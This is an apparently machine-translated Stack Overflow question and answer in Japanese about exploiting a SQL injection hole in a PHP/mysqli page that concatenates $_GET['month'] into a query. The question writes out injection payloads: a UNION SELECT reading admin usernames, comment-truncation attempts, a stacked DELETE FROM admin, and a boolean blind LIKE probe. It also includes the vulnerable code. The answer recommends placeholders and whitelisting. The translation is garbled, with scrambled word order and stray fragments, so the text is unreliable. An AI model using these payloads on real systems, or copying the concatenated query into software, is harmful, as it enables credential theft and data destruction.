MySQLを使用したSQLインジェクション（楽しいチャレンジ）

Question

仲間の開発者は、私が維持しているウェブサイトにSQLインジェクションの脆弱性を導入しました。しかし、いくつかの問題があります。

おおよそであるSQL、撮影：

クエリを実行します

13 UNION SELECT 1, username, 3 FROM admin 

：私は$_GET['month']を設定した場合

SELECT 
    c.id, 
    c.name, 
    c.start 
FROM 
    course AS c 
WHERE 
    MONTH(c.start) = $_GET['month'] 
ORDER BY 
    c.start 

を

働くだろう

SELECT 
    c.id, 
    c.name, 
    c.start 
FROM 
    course AS c 
WHERE 
    MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin 
ORDER BY 
    c.start 

場合、 ORDER BYはc.テーブルエイリアスを含んでいませんでした。代わりに、エラーが発生：

Table 'c' from one of the SELECTs cannot be used in field list 

---

別名

adminにc ALIASを追加すると、いずれかの任意の違いはありません。

をコメント

13 UNION SELECT 1, c.username, 3 FROM admin AS c 

---

私はORDER BYをコメントアウトする--を使用して試してみましたが、それは新しい行にありますので、これは動作しません：

：

13 UNION SELECT 1, c.username, 3 FROM admin AS c -- 

は同様に/*が動作しません、私は最終的*/を追加することはできませんので、

13 UNION SELECT 1, c.username, 3 FROM admin AS c /* 

---

スプリット

を照会またmysqli_prepare()はを好きではないようですどこでもクエリで - そうDROP、DELETE、またはTRUNCATEがSQL構文エラーになり：

13; DELETE FROM admin; 

---

ソリューション

瞬間に私がやって考えることができる唯一の事はあります攻撃者は、以下のように、イエス/ノー応答（一部のレコードまたはレコードなし）を取得することはできませんので、WHERE句に追加する - これは、レコードを見て未満満足です

SELECT 
    c.id, 
    c.name, 
    c.start_estimate 
FROM 
    thr_course_term AS c 
WHERE 
    MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%") 
ORDER BY 
    c.start_estimate; 

:-)画面に表示されます

SQLはmysqliとPHPで実行されている

ソースコード、ラフコードビーイング：

<?php 

$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month'] 

$sql = 'SELECT 
      c.id, 
      c.name, 
      c.start 
     FROM 
      course AS c 
     WHERE 
      MONTH(c.start) = ' . $month . ' 
     ORDER BY 
      c.start'; 

$link = mysqli_connect('localhost', 'username', 'password', 'database'); 

$statement = mysqli_prepare($link, $sql); 

if (!$statement) { 

    echo $link->error; 

} else { 

    // Skip the bind_param bit 

    $result = $statement->execute(); 
    $result = $statement->get_result(); 

    while ($row = mysqli_fetch_assoc($result)) { 
     print_r($row); 
    } 

} 

?> 

Answer 1

ない点は、実際に技術を利用するものは何でも実証ではありません。

一方で、利用可能なエクスプロイトの数は無限です。 Stack Overflow全体に例をあふれさせることができます。 しかし、どれも保護技術に何も追加しません。あなたが参照してください、保護ルールは短く明確です。あなたのサイトを保護するために何百もの可能性のある悪用を記憶することに意味はありません。

1. すべてのデータリテラルは、プレースホルダを使用して追加する必要があります。
2. 他のすべてのクエリ部分はホワイトリストにする必要があります。

それだけです。

一方、には、を示し、古いボビーテーブルの例で十分です。これがあなたを納得させることができなかった場合は、他にもいくつかの悪用例があるとは思えません。